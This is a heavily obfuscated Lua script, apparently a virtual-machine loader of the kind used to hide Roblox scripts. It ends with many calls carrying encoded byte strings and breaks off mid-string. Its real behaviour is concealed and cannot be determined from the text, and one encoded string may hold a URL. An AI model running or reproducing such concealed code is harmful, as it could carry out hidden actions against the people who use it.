if((e~=h and j~=(b[1578221]))and e~=(b[3460004]))then do while(e~=h)do j=(b[6789364])end end elseif(e==h and j==(b[1578221]))then I=true end end ;local e=4040;local N=4474;while(e<N)do N=e-8948;r=I and(o)or({})end;do local a=82;local d=220.00488857150782;local e=262.51619673370345;local f={}repeat do while(a+165==496)and((d==96.42168282021036)and(e==606.2457423200906)and(f[615]==false)and(f[732]==(b[8586267]))and(f[271]==(b[3620739])))do e=437.9137342893295;a=221;E=I and(r[(b[1381338])])or(1)f[271]=(b[5140199])f[615]=false;d=14.995522382284252;f[732]=(b[4568903])break end end ;do if(a*73==53728)then while(a+368==1104)and((d==190.3079770605852)and(e==234.04769996945262)and(f[615]==false)and(f[732]==(b[6308153]))and(f[271]==(b[8329070])))do e=622.8628844773403;z=(I==true and p)or(I==false and q or c())or{}f[271]=(b[3278461])f[732]=(b[1438682])a=850;f[615]=false;d=256.98022062306086;break end end end ;if((d==362.4894010942989)and(e==154.57183260188089)and(f[615]==false)and(f[732]==(b[4411441]))and(f[271]==(b[9633818])))and(a+45==135)then f[271]=(b[3620739])x=I and q or{}f[615]=false;e=606.2457423200906;a=331;f[732]=(b[8586267])d=96.42168282021036 end;do if(a*48==23376)then do while((d==101.43825320497596)and(e==131.9499640647343)and(f[615]==false)and(f[732]==(b[9732194]))and(f[271]==(b[463312])))and(a+243==730)do a=736;f[615]=false;f[271]=(b[8329070])e=234.04769996945262;d=190.3079770605852;r[(b[7197484])]=I and(r[(b[7197484])])or(o)f[732]=(b[6308153])break end end end end ;while((d==306.72605895171773)and(e==138.33228771477624)and(f[615]==false)and(f[732]==(b[8821636]))and(f[271]==(b[5055402])))and(a+246==739)do d=220.00488857150782;e=262.51619673370345;a=82;break end;do if(a*43==18619)then do if(a+216==649)and((d==74.20997526503699)and(e==13.87492298002554)and(f[615]==false)and(f[732]==(b[5939460]))and(f[271]==(b[7159694])))then d=362.4894010942989;f[271]=(b[9633818])f[732]=(b[4411441])f[615]=false;M=I and(r[(b[1846690])])or(h)a=90;e=154.57183260188089 end end end end ;do while((d==220.00488857150782)and(e==262.51619673370345))and(a+41==123)do f[271]=(b[9215562])f[615]=false;e=28.20616872170571;a=0;f[732]=(b[4500137])d=516.6998602468199;break end end ;if(a*90==81450)then if(a+452==1357)and((d==195.51263674060718)and(e==231.96295528033974)and(f[615]==false)and(f[732]==(b[6571315]))and(f[271]==(b[5875350])))then d=52.962111145066636;f[615]=false;a=490;v=false;f[732]=(b[9714059])e=118.97337144319988;f[271]=(b[8511312])end end;do if(a*85==72250)then do if(a+425==1275)and((d==256.98022062306086)and(e==622.8628844773403)and(f[615]==false)and(f[732]==(b[1438682]))and(f[271]==(b[3278461])))then break end end end end ;while(a+110==331)and((d==14.995522382284252)and(e==437.9137342893295)and(f[615]==false)and(f[732]==(b[4568903]))and(f[271]==(b[5140199])))do d=195.51263674060718;a=905;f[271]=(b[5875350])f[732]=(b[6571315])w=I and({})or(j)f[615]=false;e=231.96295528033974;break end;do if(a*0==0)then if(a+0==0)and((d==516.6998602468199)and(e==28.20616872170571)and(f[615]==false)and(f[732]==(b[4500137]))and(f[271]==(b[9215562])))then f[615]=false;a=433;L=(1)d=74.20997526503699;f[732]=(b[5939460])e=13.87492298002554;f[271]=(b[7159694])end end end ;if(a*49==24010)then while((d==52.962111145066636)and(e==118.97337144319988)and(f[615]==false)and(f[732]==(b[9714059]))and(f[271]==(b[8511312])))and(a+245==735)do y={}f[615]=false;d=101.43825320497596;a=487;e=131.9499640647343;f[271]=(b[463312])f[732]=(b[9732194])break end end until(false)end;local a={[(b[94391])]=function(c,e,f,h,i,j)if(I~=true and v)then return F((b[240505]))end;do if(G==(b[2325263]))then if(J)then local a=3423;local c=2682;while(a>(c-12))do c=(a+4488)*2;while(a<c)do c=a-31644;do while(a>(c-11))do c=(a+3575)*2;local a={[(b[8971289])]=J}do local c=353.2807826871058;local d=205.23752643912871;local f=62;local g={}do while(true)do do while((d==36.63818294745187)and(c==113.14615649738613)and(g[898]==false)and(g[950]==(b[9030121]))and(g[631]==(b[7551569])))and(f+310==931)do f=780;d=252.54489284022685;g[898]=false;c=1.9445228775707015;g[950]=(b[9086596])g[631]=(b[878715])a[-3467]=e[-3467]break end end ;do while(f+246==739)and((d==225.55992939884152)and(c==589.5859191020892)and(g[898]==false)and(g[950]==(b[5610867]))and(g[631]==(b[7751794])))do g[631]=(b[3248095])d=48.14531061510589;g[898]=false;f=378;c=263.5496416610955;g[950]=(b[6320467])a[1952]=e[1952]break end end ;if(f*0==0)then if(f+0==0)and((d==17.93460887258779)and(c==160.82379000766295)and(g[898]==false)and(g[950]==(b[1493562]))and(g[631]==(b[5286408])))then g[950]=(b[5610867])a[(b[8887677])]=e[(b[8887677])]f=493;d=225.55992939884152;g[631]=(b[7751794])g[898]=false;c=589.5859191020892 end end;do if(f+390==1170)and((d==252.54489284022685)and(c==1.9445228775707015)and(g[898]==false)and(g[950]==(b[9086596]))and(g[631]==(b[878715])))then break end end ;do if((d==311.19905978048763)and(c==88.49353952706056)and(g[898]==false)and(g[950]==(b[9818925]))and(g[631]==(b[183830])))and(f+82==246)then f=621;c=113.14615649738613;d=36.63818294745187;a[4302]=e[4302]g[631]=(b[7551569])g[898]=false;g[950]=(b[9030121])end end ;do while((d==205.23752643912871)and(c==353.2807826871058))and(f+31==93)do f=0;d=17.93460887258779;g[898]=false;c=160.82379000766295;g[950]=(b[1493562])g[631]=(b[5286408])break end end ;if(f*37==13986)then if((d==48.14531061510589)and(c==263.5496416610955)and(g[898]==false)and(g[950]==(b[6320467]))and(g[631]==(b[3248095])))and(f+189==567)then c=72.25994075046128;g[631]=(b[8533578])g[950]=(b[7637505])r[(b[2148924])][E]=a;f=113;d=11.828854930825228;g[898]=false end end;do if(f*95==90630)then while(f+477==1431)and((d==533.8171761810954)and(c==153.5864067110663)and(g[898]==false)and(g[950]==(b[1700457]))and(g[631]==(b[2250561])))do f=62;d=205.23752643912871;c=353.2807826871058;break end end end ;if(f*11==1243)then if((d==11.828854930825228)and(c==72.25994075046128)and(g[898]==false)and(g[950]==(b[7637505]))and(g[631]==(b[8533578])))and(f+56==169)then d=311.19905978048763;c=88.49353952706056;g[631]=(b[183830])a[(b[7869890])]=e[(b[7869890])]g[950]=(b[9818925])f=164;g[898]=false end end end end end end end ;do if(6846-a)<(c+3463)then a=((c+3423)*2)E=E+1 end end end;do if a>(c-69676)then c=(a+6846)J=nil end end end else do local a={}local c=203.7721139573964;local d=194;local f=27.11547471540918;repeat do while(d+0==0)and((f==369.30402306203365)and(c==374.8321468314052)and(a[570]==false)and(a[540]==(b[1329028]))and(a[524]==(b[5276918])))do a[540]=(b[3627102])J=e;f=90.16452026155055;a[570]=false;d=369;c=804.2667715700193;a[524]=(b[4097959])break end end ;do if(d*36==13284)then if(d+184==553)and((f==90.16452026155055)and(c==804.2667715700193)and(a[570]==false)and(a[540]==(b[3627102]))and(a[524]==(b[4097959])))then break end end end ;if(d*19==3686)then do while(d+97==291)and((f==27.11547471540918)and(c==203.7721139573964))do d=0;c=374.8321468314052;a[524]=(b[5276918])a[570]=false;f=369.30402306203365;a[540]=(b[1329028])break end end end;if((f==44.245383663078776)and(c==411.2277030419959)and(a[570]==false)and(a[540]==(b[3397095]))and(a[524]==(b[8843624])))and(d+404==1213)then c=203.7721139573964;d=194;f=27.11547471540918 end until(false)end end elseif(G==(b[2009893]))then local c;do local a={}local d=526;local e=162.26421460324278;local f=584.8599960160908;repeat do if(d*52==27352)then do if((f==584.8599960160908)and(e==162.26421460324278))and(d+263==789)then e=374.02312553929573;f=329.17480019399073;d=0;a[949]=(b[7298288])a[284]=(b[6247940])a[882]=false end end end end ;do while((f==144.7987950477432)and(e==795.3418842461991)and(a[882]==false)and(a[284]==(b[1452330]))and(a[949]==(b[630673])))and(d+235==706)do f=584.8599960160908;d=526;e=162.26421460324278;break end end ;do if(d*59==35341)then if(d+299==898)and((f==8.527232688035879)and(e==78.61817124969048)and(a[882]==false)and(a[284]==(b[7005144]))and(a[949]==(b[2351774])))then break end end end ;do if(d*0==0)then while(d+0==0)and((f==329.17480019399073)and(e==374.02312553929573)and(a[882]==false)and(a[284]==(b[6247940]))and(a[949]==(b[7298288])))do a[882]=false;c=r[(b[5438370])][M-1]e=78.61817124969048;a[284]=(b[7005144])a[949]=(b[2351774])f=8.527232688035879;d=599;break end end end until(false)end;do if(e==nil and g(c)==(b[1056012]))then local d=6626;local e=336;while(d>(e-11))do e=(d+3639)*2;r[(b[5438370])][M-1]=m({H(c)},a)end elseif(g(e)==(b[3731642])and e[(b[8570066])]==true)then do local a=375.5597618097123;local c={}local d=118;local f=33.434276102958265;while(true)do do if((a==393.54528733473796)and(f==19.86105680223581)and(c[132]==false)and(c[445]==(b[9148107]))and(c[217]==(b[7581007])))and(d+0==0)then a=387.2495538194572;r[(b[5438370])][M]=e;c[217]=(b[5091121])c[445]=(b[5024614])d=621;f=46.3856165192226;c[132]=false end end ;do if((a==387.2495538194572)and(f==46.3856165192226)and(c[132]==false)and(c[445]==(b[5024614]))and(c[217]==(b[5091121])))and(d+310==931)then c[217]=(b[3960320])a=139.3589876958943;c[445]=(b[4183326])d=119;M=M+1;c[132]=false;f=77.82264880650706 end end ;do if((a==941.764708087059)and(f==595.3970431079711)and(c[132]==false)and(c[445]==(b[2632639]))and(c[217]==(b[857765])))and(d+147==441)then d=118;a=375.5597618097123;f=33.434276102958265 end end ;do if(d*11==1298)then do while((a==375.5597618097123)and(f==33.434276102958265))and(d+59==177)do c[445]=(b[9148107])d=0;f=19.86105680223581;a=393.54528733473796;c[217]=(b[7581007])c[132]=false;break end end end end ;if(d*11==1309)then do if(d+59==178)and((a==139.3589876958943)and(f==77.82264880650706)and(c[132]==false)and(c[445]==(b[4183326]))and(c[217]==(b[3960320])))then break end end end end end elseif(g(e)==(b[3731642]))then local a=3680;local c=2745;do while(a>(c-12))do c=(a+4577)*2;do while(a<c)do c=a-33028;r[(b[5438370])][M]=e[1]or nil end end ;do if a>(c-7360)then c=(a+7360)M=M+1 end end end end else do local a=355.7853672410871;local c={}local d=850;local f=37.135621262959;do for g in(function()return 217 end)do do if(d*85==72250)then do while((a==355.7853672410871)and(f==37.135621262959))and(d+425==1275)do f=155.04841841121117;c[76]=false;a=300.1459977910148;c[344]=(b[5705167])c[461]=(b[61411])d=0;break end end end end ;do if(d*0==0)then do while((a==300.1459977910148)and(f==155.04841841121117)and(c[76]==false)and(c[344]==(b[5705167]))and(c[461]==(b[61411])))and(d+0==0)do c[76]=false;r[(b[5438370])][M]=e;d=378;c[461]=(b[5128113])f=341.4436626214816;c[344]=(b[8508702])a=582.3394205699866;break end end end end ;do if(d*13==1794)then if(d+69==207)and((a==209.48089058372588)and(f==251.60479348847056)and(c[76]==false)and(c[344]==(b[1916572]))and(c[461]==(b[7165794])))then a=355.7853672410871;d=850;f=37.135621262959 end end end ;do if(d+487==1461)and((a==134.9188488149619)and(f==174.19490002295262)and(c[76]==false)and(c[344]==(b[3504309]))and(c[461]==(b[68973])))then break end end ;do if(d*37==13986)then while(d+189==567)and((a==582.3394205699866)and(f==341.4436626214816)and(c[76]==false)and(c[344]==(b[8508702]))and(c[461]==(b[5128113])))do c[461]=(b[68973])M=M+1;f=174.19490002295262;d=974;a=134.9188488149619;c[76]=false;c[344]=(b[3504309])break end end end end end end end end elseif(G==(b[7419154]))then local c;d()c=function(d)local e={}local f=0;for c=1,#d[(b[8944901])]do local c=d[(b[8944901])][c]if(g(c)==(b[3731642]))then e[f]=m({H(c[1])},a)f=f+1 else e[f]=c;f=f+1 end end;d[(b[1846690])]=f;d[(b[5438370])]=e;d[(b[1381338])]=#d[(b[5630718])]local a={}local e=1;do for f=1,#d[(b[2616685])]do a[e]=c(d[(b[2616685])][f])e=e+1 end end ;d[(b[2616685])]=a;d[(b[777527])]=e;return d end;local a=c(e)r[(b[2616685])][L]=a;L=L+1 elseif(G==(b[6895776]))then do while(e>-1)do r[f]=r[f]or{}r[h]=r[h]or{}r[i]=r[i]or{}r[(b[3166390])]=k;r[(b[8119126])]=r[(b[8119126])]or j;e=(e*-1)-(50)end end end end ;return c end;[(b[6078183])]=function(a,c)do if(I~=true and v)then do local a=565.8555138316843;local d=488.78300397148996;local e={}local f=406;for g in(function()return 217 end)do do if(f*12==1548)then do if(f+64==193)and((a==160.84223120248694)and(d==121.27345937851734)and(e[280]==false)and(e[93]==(b[5080197]))and(e[142]==(b[9707177])))then a=565.8555138316843;f=406;d=488.78300397148996 end end end end ;do if(f*56==31696)then if((a==32.30450307329682)and(d==71.40825550745576)and(e[280]==false)and(e[93]==(b[8253111]))and(e[142]==(b[2610024])))and(f+283==849)then break end end end ;if(f*40==16240)then do if(f+203==609)and((a==565.8555138316843)and(d==488.78300397148996))then e[93]=(b[4594434])a=32.69681140681494;e[142]=(b[6394285])f=0;e[280]=false;d=427.14409996538075 end end end;if(f*0==0)then if((a==32.69681140681494)and(d==427.14409996538075)and(e[280]==false)and(e[93]==(b[4594434]))and(e[142]==(b[6394285])))and(f+0==0)then do while(1==1 and v==(#r>-1))do r[c]=(b[972671])end end ;d=71.40825550745576;e[93]=(b[8253111])e[280]=false;e[142]=(b[2610024])f=566;a=32.30450307329682 end end end end;return elseif(r==nil)then r={}end end ;local d=3302;local e=6498;do while(d<e)do e=d-12996;do while(d>(e-11))do e=(d+1991)*2;do while(d<e)do e=d-21172;do while(d>(e-10))do e=(d+1174)*2;do if(c==(b[2325263]))then G=c end end end end ;do if(6604-d)<(e+3306)then d=((e+3302)*2)if(c==(b[6895776]))then G=c end end end end end ;do if d>(e-49016)then e=(d+6604)do if(c==(b[2009893]))then G=c end end end end end end ;if(49016-d)<(e+24554)then d=((e+3302)*2)do if(c==(b[7419154]))then G=c end end end end end ;do if(c~=(b[2325263])and c~=(b[2009893])and c~=(b[6895776])and c~=(b[7419154]))then do local a=568.3205335285655;local c=249.19939304772052;local d=829;local e={}do while(true)do do if((a==308.48533199328756)and(c==52.360290329158445)and(e[577]==false)and(e[714]==(b[1046522]))and(e[889]==(b[9941731])))and(d+310==931)then break end end ;if((a==568.3205335285655)and(c==249.19939304772052))and(d+414==1243)then e[714]=(b[6554704])e[577]=false;d=0;c=291.5077395684343;e[889]=(b[2308674])a=446.28207124825576 end;if(d*0==0)then do if(d+0==0)and((a==446.28207124825576)and(c==291.5077395684343)and(e[577]==false)and(e[714]==(b[6554704]))and(e[889]==(b[2308674])))then c=52.360290329158445;if((b[8063855]))then return F((b[7881704]))end;e[714]=(b[1046522])e[577]=false;e[889]=(b[9941731])d=621;a=308.48533199328756 end end end;do while(d+350==1050)and((a==817.8372397195857)and(c==814.0235677595774)and(e[577]==false)and(e[714]==(b[3307023]))and(e[889]==(b[2035274])))do a=568.3205335285655;c=249.19939304772052;d=829;break end end end end end end end ;return a end}local function d(a,...)do if(I~=true and v)then return F((b[378073]))else v=true end end ;local a,d,e,h,j,o;e=-1;h={}o={}a=1;j={...}d=c()[(b[4802220])]((b[219228]),...)-1;for a=0,d do do if(a>=r[(b[8119126])])then h[a-r[(b[8119126])]]=j[a+1]else o[a]=j[a+1]end end end;local c=r[(b[2148924])]local j=r[(b[5438370])]local p=function(a,c,d,e)if(g(c)==(b[9807359]))then c[(b[4618003])]=c[(b[4618003])]or{}c[(b[4618003])][#c[(b[4618003])]+1]={a,d}end end;do for a,a in K(c)do local c=a[(b[8887677])]do if(c>0)then local d;do if(c==1)then a[(b[9114846])]=j[a[1952]]p(a,a[(b[9114846])],(b[9114846]))end end ;if(c==2 or c==4)then a[(b[4763239])]=j[a[1952]-256]a[(b[104802])]=true;p(a,a[(b[4763239])],(b[4763239]))end;if(c==3 or c==4)then a[(b[8287682])]=j[a[-3467]-256]a[(b[6568605])]=true;p(a,a[(b[8287682])],(b[8287682]))end end end end end ;r[(b[4574918])]=k;local function p()while true do local p,q;q=c[a]p=q[(b[8971289])]a=a+1;do if(not(p>732.5805038753524))then if(not(p>364.94718605531466))then do if(not(208.49447596420538<p))then do if(not(147.7756479020494<p))then if(not(p>46.59499374013209))then if(-19.223200354519104>=p)then return elseif(-19.223200354519104<p)then local a=q[4302]local b=q[1952]do if(b==0)then b=d;e=a+d-1 end end ;do for b=a,a+(b)do o[b]=h[b-a]end end end else if(p>=46.59499374013209)then o[q[4302]]=q[(b[9114846])]end end else if(not(p<=147.7756479020494))then do if(p<=185.984198125548)then if(not(p>173.97633823805057))then o[q[4302]]=(q[1952]~=0)if(q[-3467]~=0)then a=a+1 end else do if(p>=173.97633823805057)then local a,c;do if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end end ;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a+c end end end else if(p>=185.984198125548)then a=a+q[1952]end end end end end end else if(p>=208.49447596420538)then if(not(p>312.75950470561315))then do if(285.9925773001225>=p)then do if(245.4802726360457>=p)then local a,c;do if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end end ;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a-c else local d=q[4302]local f=q[1952]local g=q[-3467]local h=o;do if(g==0)then a=a+1;g=c[a][(b[9872999])]end end ;local a=(g-1)*50;local b=h[d]if(f==0)then f=e-d end;do for c=1,f do b[a+c]=h[d+c]end end end end elseif(p>285.9925773001225)then local a,c;if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]][a]=c end end else if(352.19364792121496>=p)then do if(322.57400291559094>=p)then o[q[4302]]=z[q[(b[9114846])]]else local a;if(q[(b[6568605])])then a=q[(b[8287682])]else a=o[q[-3467]]end;o[q[4302]]=o[q[1952]][a]end end else do if(p>=352.19364792121496)then o[q[4302]]={}end end end end end end end elseif(p>364.94718605531466)then do if(p<=577.9674107279351)then if(not(p>499.44412709865594))then do if(not(p>456.9437288969499))then if(not(382.5326956993887<p))then local b=q[4302]local c=q[-3467]local d=o;local e=b+2;local f={d[b](d[b+1],d[b+2])}do for a=1,c do d[e+a]=f[a]end end ;do if(d[b+3]~=nil)then d[b+2]=d[b+3]else a=a+1 end end elseif(not(382.5326956993887>=p))then local a=q[4302]local a=q[1952]local a;if(q[(b[6568605])])then a=q[(b[8287682])]else a=o[q[-3467]]end;o[q[4302]+1]=o[q[1952]]o[q[4302]]=o[q[1952]][a]end else if(p>=456.9437288969499)then local a,c=n(0,(b[1578221]),r[(b[8376175])][q[1952]+1],z)a.xo8zzI45Ii(0,(b[5438370]),(b[2148924]),(b[8376175]),r[(b[8119126])])o[q[4302]]=function(...)return c(a,...)end end end end elseif(p>499.44412709865594)then if(554.7534752120098>=p)then do if(511.1034000193416>=p)then z[q[(b[9114846])]]=o[q[4302]]elseif(not(511.1034000193416>=p))then do if q[-3467]then if o[q[4302]]then a=a+1 end elseif o[q[4302]]then else a=a+1 end end end end else o[q[4302]]=o[q[1952]]end end elseif(577.9674107279351<p)then if(657.039673917633>=p)then if(p<=619.5114165192613)then do if(not(p>595.9454582570669))then local a=q[4302]local b=q[1952]local c=o;local d,f;local g;local h=0;d={}do if(b~=1)then do if(b~=0)then g=a+b-1 else g=e end end ;for a=a+1,g do d[#d+1]=c[a]end;f={c[a](B(d,1,g-a))}else f={c[a]()}end end ;do for a in K(f)do if(a>h)then h=a end end end ;do return f,h end else do if(p>=595.9454582570669)then local c,d;do if(q[(b[104802])])then c=q[(b[4763239])]else c=o[q[1952]]end end ;do if(q[(b[6568605])])then d=q[(b[8287682])]else d=o[q[-3467]]end end ;if(c==d)~=q[4302]then a=a+1 end end end end end else do if(p>=619.5114165192613)then o[q[4302]]=x[q[1952]]end end end else if(p<=681.5742270605888)then local c,d;do if(q[(b[104802])])then c=q[(b[4763239])]else c=o[q[1952]]end end ;if(q[(b[6568605])])then d=q[(b[8287682])]else d=o[q[-3467]]end;if(c<d)~=q[4302]then a=a+1 end else local a=o;local b=q[1952]local c=a[b]do for b=b+1,q[-3467]do c=c..a[b]end end ;o[q[4302]]=c end end end end end else do if(p>=732.5805038753524)then if(3042.8360089510275>=p)then do if(p<=983.230314521086)then do if(839.7332343695101>=p)then do if(p<=816.9604762258247)then if(not(794.633996683065<p))then local a=q[4302]local b=q[1952]local c=q[-3467]local d=o;local f;do if b==0 then f=e-a else f=b-1 end end ;local b,f=i(d[a](B(d,a+1,a+f)))do if c==0 then e=a+b-1;b=b+a-1 else b=a+c-2 end end ;local c=0;for a=a,b+a do c=c+1;d[a]=f[c]end elseif(not(794.633996683065>=p))then local a,c;if(q[(b[104802])])then a=q[(b[4763239])]else a=o[q[1952]]end;do if(q[(b[6568605])])then c=q[(b[8287682])]else c=o[q[-3467]]end end ;o[q[4302]]=a*c end elseif(p>816.9604762258247)then o[q[4302]]=(not o[q[1952]])end end elseif(not(839.7332343695101>=p))then do if(p<=929.5748028711919)then if(p<=900.7923293946303)then local d=r[(b[8376175])][q[1952]+1]local e=o;local f;local g;if(d[(b[4901642])]~=0)then f={}g=m({},{[(b[6078183])]=function(a,a)local a=f[a]return a[1][a[2]]end,[(b[1428358])]=function(a,a,b)local a=f[a]a[1][a[2]]=b end})do for d=1,d[(b[7197484])]do do while(c[a]and c[a][(b[7869890])])do a=a+1 end end ;local c=c[a]do if(C[1][c[(b[5695870])]]==true)then f[d-1]={e,c[1952]}elseif(C[2][c[(b[5695870])]]==true)then f[d-1]={x,c[1952]}end end ;a=a+1 end end ;y[#y+1]=f end;local a,b=n(0,(b[1578221]),d,z,g)e[q[4302]]=function(...)return b(a,...)end else if(p>=900.7923293946303)then local a=o;do for b=q[4302],q[1952]do a[b]=nil end end end end elseif(p>929.5748028711919)then x[q[1952]]=o[q[4302]]end end end end elseif(not(983.230314521086>=p))then if(1599.764225929292>=p)then do if(1065.5885081277424>=p)then do if(p<=1013.1285671701094)then local a=q[4302]local b=q[1952]local c=o;local d,f;local g;do if(b==1)then return elseif(b==0)then g=e else g=a+b-2 end end ;f={}d=0;do for a=a,g do d=d+1;f[d]=c[a]end end ;do return f,d end elseif(not(1013.1285671701094>=p))then do for a,c in K(j)do do if(g(c)==(b[9807359])and g(c[1])==(b[6537984]))then local d=o[q[1952]](c[1],D)j[a]=d;do if(c[(b[4618003])])then for a,a in K(c[(b[4618003])])do a[1][a[2]]=d end end end end end end end ;o[q[1952]]=k[q[1952]]end end elseif(not(1065.5885081277424>=p))then do return end end end elseif(1599.764225929292<p)then if(2148.122125390901>=p)then do if(p<=2005.9496846311592)then o[q[4302]]=o[q[1952]]..o[q[1952]+1]else do if(p>=2005.9496846311592)then o[q[1952]]=o[q[4302]]end end end end elseif(p>2148.122125390901)then local a=q[4302]local b=q[1952]local c=q[-3467]local c;if b==0 then c=e-a else c=b-1 end(o[a])(B(o,a+1,a+c))end end end end elseif(p>3042.8360089510275)then if(not(p>6683.317399884777))then if(not(p>4624.06098348861))then do if(4093.8695533044333>=p)then if(p<=3174.6925563423624)then if(o[q[1952]]==q[(b[8287682])])~=q[4302]then a=a+1 end else do if(not(p<=3174.6925563423624))then o[q[4302]]=q[1952]==nil end end end elseif(4093.8695533044333<p)then local a=q[4302]local b=q[1952]local c=q[-3467]local d=o;local c=(c-1)*50;local f=d[a]do if(b==0)then b=e-a end end ;do for b=1,b do f[c+b]=d[a+b]end end end end elseif(p>4624.06098348861)then if(p<=6087.801477115722)then if(p<=6039.569424511666)then A=function(a,b)return a..b end elseif(6039.569424511666<p)then local a=q[4302]local b=q[-3467]local c=o;local d,f=i((c[a])())if b==0 then e=a+d-1;d=d+a-1 else d=a+b-2 end;local b=0;for a=a,d+a do b=b+1;c[a]=f[b]end end else o[q[4302]]=q[4302]~=nil end end else do if(p<=9081.445428132543)then do if(8124.667351971597>=p)then if(not(7370.298587126628<p))then local a=q[1952]k[q[4302]]=o[q[4302]]o[q[4302]]=function(b,c)local d=""local e=a;local g=l(c)-e;t(e,l(b),function(h)d=A(d,s[u(f(b,h),f(c,e))])e=(e>g)and a or e+a end)return d end else do if(p>=7370.298587126628)then local a=q[4302]local b=o;local c,d;local f;f=e;d={}c=0;for a=a,f do c=c+1;d[c]=b[a]end;do return d,c end end end end else do if(p>=8124.667351971597)then i(o[q[4302]]())end end end end else do if(p>=9081.445428132543)then if(p<=9673.950824373243)then o[q[4302]]=o[q[1952]][j[q[-3467]-256]]elseif(9673.950824373243<p)then o[q[4302]]=nil end end end end end end end end end end end ;do if(a>(E-1))then break end end end end;local a,b=p()do if a and(b>0)then return B(a,1,b)end end ;return end;return m({},a),d end;local a,d=n((b[3460004]),{268,475},0,c())a.xo8zzI45Ii(0,(b[5438370]),(b[2148924]),(b[8376175]),0)do local b=a[(b[17072])]a("\65\82\86\113\88\69\106\102\90\124\108\70")()a({0})a("\114\98\94\107\88\13")()a("\92\83\118")()a("\93\79\90\122")()a("\94\69\78\91\68\66\101")()a({0.139})a("\114\69\67\114\78\65\106\96\94\112\99\90")()a(false)a("\53\66\78\107\78")()a("\82\69\67\88\94\92\66\122\76\119\123")()a("\81\69\68\107\89\90\114")()a("\98\65\91\115\82\21\98\103\31\117\110\70")()a("\86\82\82\126\95\80\73\123\71")()a("\81\82\86\104\66\91\108")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\103\69\70\106\66\71\110")()a("\84\73\90\79\74\71\127")()a({255})a("\89\79\84\126\71\101\103\117\70\119\125")()a("\102\84\69\118\69\82")()a("\118\79\69\112\94\65\98\122\90")()a("\121\69\89")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\97\79\89\106\70\87\110\102")()a("\91\65\90\122")()a("\70\80\82\122\79")()a("\70\115\127\89")()a("\97\65\85\115\78")()a("\94\69\78\75\68\121\100\119\84\93\97")()a("\116\83\68\122\89\65")()a("\113\69\84\109\82\69\127")()a("\82\85\94\76\78\71\125\125\92\119")()a("\123\69\64")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\112\82\69\112\89")()a("\70\73\91\122\69\65")()a("\102\69\67\114\78\65\106\96\94\112\99\90")()a("\69\76\86\102\77\64\103\52\105\115\98\79\87\82\121")()a("\125\84\67\111\88\15\36\59\77\115\120\17\89\73\104\74\96\93\105\84\116\95\80\123\80\127\68\114\107\6\76\102\67\62\75\100\124\82\122\100\101\122\111\15\34\11\42\16\30\105\126\96\85\81\75\103\91\91\64\113\57\111\99\91\123\37\102\84\84\115\111\79\111")()a({1})a("\114\115\94\101\78\65")()a("\97\89\71\122")()a("\101\65\94\109\88")()a("\86\82\82\126\95\80\71\117\93\119\99")()a("\90\80\86\109\76\103")()a("\74\127\94\113\66\65\84\75")()a("\102\84\69\118\69\82")()a("\83\111\97\76\66\79\110")()a("\80\78\66\114")()a("\66\116\100\79")()a("\97\79\68\107\89\92\101\115")()a("\92\78\94\107")()a("\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121")()a("\93\84\67\111\108\80\127")()a("\70\73\91\122\69\65\74\125\82")()a("\103\65\64\108\78\65")()a("\123\69\64")()a("\71\85\89\76\78\71\125\125\92\119")()a("\98\79\69\116\88\69\106\119\90")()a("\103\69\70\106\66\71\110")()a("\80\78\86\125\71\80")()a("\123\69\64")()a("\96\80\83\126\95\80\71\123\92\121")()a("\66\79\69\116\88\69\106\119\90")()a({0.1})a("\88\73\68\124")()a("\70\98\23\82\68\81\110\103")()a("\86\82\82\126\95\80\95\117\93")()a("\114\115\94\101\78\65")()a("\83\111\97\63\120\92\113\113")()a("\67\65\69\120\88")()a("\69\82\82\123\66\86\127\125\80\124")()a("\115\82\88\114\121\114\73")()a("\76\85\90")()a("\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93")()a("\74\127\84\112\69\70\127\75\96")()a("\114\77\86\107\72\93")()a("\86\82\82\126\95\80\88\120\86\118\106\77")()a("\90\85\67\121\66\65")()a("\70\84\69\122\74\88\123\102\80\125\105\23\79\9")()a("\71\69\89\123\78\71\88\96\90\98\127\90\90")()a("\118\79\89\108\95\84\101\96\76")()a("\114\105\89\107")()a("\123\69\64\124\72\89\100\103\74\96\106")()a("\89\79\64\122\89\97\100\102\76\125")()a("\74\127\94\113\88\65\121\75\96")()a("\86\102\100\111\78\80\111")()a("\101\67\86\115\71")()a("\74\127\89\126\70\80\104\117\83\126")()a("\114\69\67\92\71\90\120\113\76\102")()a("\114\115\94\101\78\65")()a("\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5")()a("\84\78\94\114\74\65\110")()a("\86\102\69\126\70\80\43\71\79\119\106\91")()a("\83\111\97\76\67\90\124")()a("\114\69\67\114\78\65\106\96\94\112\99\90")()a("\116\83\68\122\89\65")()a("\68")()a({0.143})a("\118\79\69\112\94\65\98\122\90")()a("\70\84\86\124\64")()a("\116\83\68\122\89\65")()a("\114\98\94\107\88\6\57")()a("\64\83\82\109\98\91\123\97\75\65\106\77\72\73\127\71")()a("\65\79\80\120\71\80\43\82\112\68")()a("\103\65\64\120\78\65")()a("\103\66\79\126\88\70\110\96\86\118\53\16\17\19\45\27\39\10\45\30\33\29\1")()a("\114\65\90\122")()a("\103\65\64\120\78\65")()a({10})a("\70\80\94\113")()a("\53\66\78\107\78")()a("\83\117\123\83\114\106\71\91\126\86\74\123\97\99\84\99\71")()a("\93\84\67\111\108\80\127")()a("\114\98\94\107\88\13")()a("\112\82\69\112\89")()a("\74\127\94\113\88\65\121\75\96")()a("\86\72\66\113\64")()a("\70\80\94\113\11\119\100\96")()a("\86\102\69\126\70\80\43\95\90\107")()a("\121\79\86\123")()a("\86\79\89\113\78\86\127")()a("\86\102\69\126\70\80")()a("\114\98\94\107\88\3\63")()a("\